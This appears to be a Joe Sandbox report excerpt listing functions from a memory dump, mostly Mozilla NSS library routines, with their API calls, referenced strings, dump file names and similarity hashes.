PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CB05D80

Strings

sql:, xrefs: 6CB05CD1, 6CB05D36
extern:, xrefs: 6CB05CEA, 6CB05D4B
multiaccess:, xrefs: 6CB05CB8
dbm:, xrefs: 6CB05D03, 6CB05D60
NSS_DEFAULT_DB_TYPE, xrefs: 6CB05D1A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: c412a5ed623c594bea302e181e28b440e8832962b9973b34076e86d95b602fdf
Instruction ID: 5fd500c1574c32850ca8dfee6c838a1a3a7f4247299b330d457b27bad82b9963
Opcode Fuzzy Hash: c412a5ed623c594bea302e181e28b440e8832962b9973b34076e86d95b602fdf
Instruction Fuzzy Hash: 48313AB47013E25BF7111A249C48F663F68EF01798F100132EDA5E7E82EBB1D409C25E

Function 6CB06CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBD1DE0,?), ref: 6CB06CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB06D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CB06D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CB06D82
DER_GetInteger_Util.NSS3(?), ref: 6CB06DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB06DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CB06E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CB06F19
PK11_DigestBegin.NSS3(00000000), ref: 6CB06F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CB06F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB07011
PK11_FreeSymKey.NSS3(00000000), ref: 6CB07033
free.MOZGLUE(?), ref: 6CB0703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CB07060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CB07087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CB070AF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 54d99063dd13651ac1cf135ba324ba47cc1bc274d8f87b1d1056b06a41685d1d
Instruction ID: 67e1583f21f75fdf2886161df0152fbcd5119f967dc70a2069f7e9bfd4aece3f
Opcode Fuzzy Hash: 54d99063dd13651ac1cf135ba324ba47cc1bc274d8f87b1d1056b06a41685d1d
Instruction Fuzzy Hash: A3A1F771B043809BEB009B24DC45B5A7BA5EB8131CF244A39ED19DBA81E775D8C9C793

Function 6CACAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACAF39
PR_Unlock.NSS3(?,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACAF69
TlsGetValue.KERNEL32 ref: 6CACB06B
EnterCriticalSection.KERNEL32(?), ref: 6CACB083
PR_Unlock.NSS3(?), ref: 6CACB0A4
TlsGetValue.KERNEL32 ref: 6CACB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CACB0D9
PR_Unlock.NSS3 ref: 6CACB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACB182

Part of subcall function 6CAFFAB0: free.MOZGLUE(?,-00000001,?,?,6CA9F673,00000000,00000000), ref: 6CAFFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CACB177

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CAAAB95,00000000,?,00000000,00000000,00000000), ref: 6CACB1C2

Part of subcall function 6CAF1560: TlsGetValue.KERNEL32(00000000,?,6CAC0844,?), ref: 6CAF157A
Part of subcall function 6CAF1560: EnterCriticalSection.KERNEL32(?,?,?,6CAC0844,?), ref: 6CAF158F
Part of subcall function 6CAF1560: PR_Unlock.NSS3(?,?,?,?,6CAC0844,?), ref: 6CAF15B2

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 0f898572cc235d974e469807c844cf65368d5b14360f4d8c207e946ab35cd4a3
Instruction ID: d27a51a1fa45d2f57fff15b8bdda9b82a9ff6b4caee7d0d1716652ba8db5b793
Opcode Fuzzy Hash: 0f898572cc235d974e469807c844cf65368d5b14360f4d8c207e946ab35cd4a3
Instruction Fuzzy Hash: C7A1A1B5E002059BEF009F64ED41AEEB7B5EF04308F144129E919A7751E732E9D9CBE2

Function 6CB1AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1ADB1

Part of subcall function 6CAFBE30: SECOID_FindOID_Util.NSS3(6CAB311B,00000000,?,6CAB311B,?), ref: 6CAFBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB1ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB1AE08

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB1AE25
PL_FreeArenaPool.NSS3 ref: 6CB1AE63
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CB1AE4D

Part of subcall function 6CA24C70: TlsGetValue.KERNEL32(?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24C97
Part of subcall function 6CA24C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CB0
Part of subcall function 6CA24C70: PR_Unlock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1AE93
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CB1AECC
PL_FreeArenaPool.NSS3 ref: 6CB1AEDE
PL_FinishArenaPool.NSS3 ref: 6CB1AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1AEF5
PL_FinishArenaPool.NSS3 ref: 6CB1AF16

Strings

security, xrefs: 6CB1ADEE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: f36b951b0c40aba57d9e49b8eef693d0328496bd5de879efd081a16fe027c297
Instruction ID: fc155614ffd090be713e013d9f9fdd242bfdfb240b49d9bdea8cfdc77c4fb71f
Opcode Fuzzy Hash: f36b951b0c40aba57d9e49b8eef693d0328496bd5de879efd081a16fe027c297
Instruction Fuzzy Hash: E94107B690829067EB114B28DC45BAF36B8EF4271CF240525E81497F85FB35A58C8ED3

Function 6CBBAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB69890: TlsGetValue.KERNEL32(?,?,?,6CB697EB), ref: 6CB6989E

EnterCriticalSection.KERNEL32(?), ref: 6CBBAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CBBAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CBBAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CBBAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CBBB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBBB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBBB070
PR_JoinThread.NSS3(?), ref: 6CBBB07B
free.MOZGLUE(?), ref: 6CBBB084
EnterCriticalSection.KERNEL32(?), ref: 6CBBB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CBBB0C4
PR_JoinThread.NSS3(?), ref: 6CBBB0F3
free.MOZGLUE(?), ref: 6CBBB0FC
PR_JoinThread.NSS3(?), ref: 6CBBB137
free.MOZGLUE(?), ref: 6CBBB140

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: afae521927861f30a9b619cb7e82439eb17853392a9a8ad542c5981a216f033d
Instruction ID: ca127054c501257d5842358508051bb0df02d7a6d767a3b8e093555dd5511bd2
Opcode Fuzzy Hash: afae521927861f30a9b619cb7e82439eb17853392a9a8ad542c5981a216f033d
Instruction Fuzzy Hash: 48915CB5900641DFCB00DF15D8C086ABBF5FF493587298569D819ABB22EB32FC49CB91

Function 6CB35CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CB32BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB32A28,00000060,00000001), ref: 6CB32BF0
Part of subcall function 6CB32BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB32A28,00000060,00000001), ref: 6CB32C07
Part of subcall function 6CB32BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CB32A28,00000060,00000001), ref: 6CB32C1E
Part of subcall function 6CB32BE0: free.MOZGLUE(?,00000000,00000000,?,6CB32A28,00000060,00000001), ref: 6CB32C4A

free.MOZGLUE(?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35D0F
free.MOZGLUE(?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35D4E
free.MOZGLUE(?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35D62
free.MOZGLUE(?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35D85
free.MOZGLUE(?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35D99
free.MOZGLUE(?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB35E3E
free.MOZGLUE(?,?,?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB35E47
free.MOZGLUE(?,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CB3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB35E78
free.MOZGLUE(?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB35EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB35EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB35F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB35F4B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: dbe8cd89a77e29b0656116768317b52368e799c08620365c540353c30245aeae
Instruction ID: 1f3b183889f2ff3b297f3058d7e85ed78d75f42657af07d521c1b98d19168626
Opcode Fuzzy Hash: dbe8cd89a77e29b0656116768317b52368e799c08620365c540353c30245aeae
Instruction Fuzzy Hash: 6171B3B4A00B419FD711CF24D884A96B7F5FF89308F148529E86E87B11E731F969CB92

Function 6CAB8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CAB8E22
EnterCriticalSection.KERNEL32(?), ref: 6CAB8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CAB8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CAB8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAB8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CAB8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAB8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CAB8F00
free.MOZGLUE(?), ref: 6CAB8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CAB8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CAB8F5B
PR_Unlock.NSS3(?), ref: 6CAB8F72
PR_Unlock.NSS3(?), ref: 6CAB8F82

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 73846936c7c316c8990c2e3132e3cacc496db2040b0ae63cabb73a4626c3e2db
Instruction ID: ca3c8ac0d600f3ec2d9a764bdc6bf8ceccb5fb4a770480375e8f26efd222600f
Opcode Fuzzy Hash: 73846936c7c316c8990c2e3132e3cacc496db2040b0ae63cabb73a4626c3e2db
Instruction Fuzzy Hash: 3451E4B2E002169FE7109E6CCC849AEB7BDEF55358B19412AE818AB710E731ED8587D1

Function 6CBB0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CBB1000

Part of subcall function 6CB69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA91A48), ref: 6CB69BB3
Part of subcall function 6CB69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA91A48), ref: 6CB69BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CBB1016

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_Unlock.NSS3(?), ref: 6CBB1021

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBB1046
PR_Unlock.NSS3(?), ref: 6CBB106B
PR_Lock.NSS3 ref: 6CBB1079
PR_Unlock.NSS3 ref: 6CBB1096
free.MOZGLUE(?), ref: 6CBB10A7
free.MOZGLUE(?), ref: 6CBB10B4
PR_DestroyCondVar.NSS3(?), ref: 6CBB10BF
PR_DestroyCondVar.NSS3(?), ref: 6CBB10CA
PR_DestroyCondVar.NSS3(?), ref: 6CBB10D5
PR_DestroyCondVar.NSS3(?), ref: 6CBB10E0
PR_DestroyLock.NSS3(?), ref: 6CBB10EB
free.MOZGLUE(?), ref: 6CBB1105

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 1cc34b85befa3399241d3ea8e32b7dc718bcaa1296b1ebda1ef380c1db84a203
Instruction ID: b7da70df532e6c6e7364e918a8b621d39e213e0d712bdad5c69d74f5a749c935
Opcode Fuzzy Hash: 1cc34b85befa3399241d3ea8e32b7dc718bcaa1296b1ebda1ef380c1db84a203
Instruction Fuzzy Hash: EA316BB5A00481ABD7019F25ED42A59B775FF0131CB584134E80913F61EB32F9B8EBC2

Function 6CAC5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAC5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CAC5EE3
PR_Unlock.NSS3(?), ref: 6CAC5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CAC5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CAC61F4

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: a01bc5016daeeb7ef920014932baa70299dd6841f3e7cb5e0aa40f139b121d2e
Instruction ID: c9731e5295e9426e182daffcb1a24cb693e705a29465774af31b1aa9a47cd2f7
Opcode Fuzzy Hash: a01bc5016daeeb7ef920014932baa70299dd6841f3e7cb5e0aa40f139b121d2e
Instruction Fuzzy Hash: 56F106B4A002158FDB44CF18C984B96BBF4FF09304F5582AAE9089F746D774EA99CF91

Function 6CA2DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA2DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CA2DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA2DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CA2DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2DECD

Strings

database corruption, xrefs: 6CA2DF77, 6CA2DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA2DF6D, 6CA2DFCC, 6CA2DFDD
%s at line %d of [%.10s], xrefs: 6CA2DF7C, 6CA2DFEC

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: a5dee948ef3067521c570b063dda8dca5394a84f5d3108953318647ac9789aca
Instruction ID: 97fcbf7cde5b9575f619fea93d58ffca515e6cac18c78cc20c51a3ec812a714e
Opcode Fuzzy Hash: a5dee948ef3067521c570b063dda8dca5394a84f5d3108953318647ac9789aca
Instruction Fuzzy Hash: 49A11671A046619FC714CF29C480A6AB7F5EF85318F1D892CF8899BB52D738E885CB91

Function 6CAEEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CAEEE0B

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEEEE1

Part of subcall function 6CAE1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CAE1D7E
Part of subcall function 6CAE1D50: EnterCriticalSection.KERNEL32(?), ref: 6CAE1D8E
Part of subcall function 6CAE1D50: PR_Unlock.NSS3(?), ref: 6CAE1DD3

TlsGetValue.KERNEL32 ref: 6CAEEE51
EnterCriticalSection.KERNEL32(?), ref: 6CAEEE65
PR_Unlock.NSS3(?), ref: 6CAEEEA2
free.MOZGLUE(?), ref: 6CAEEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CAEEED0
PR_Unlock.NSS3(?), ref: 6CAEEF48
free.MOZGLUE(?), ref: 6CAEEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CAEEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CAEEFA4
free.MOZGLUE(?), ref: 6CAEEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CAEF055
free.MOZGLUE(?), ref: 6CAEF060

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
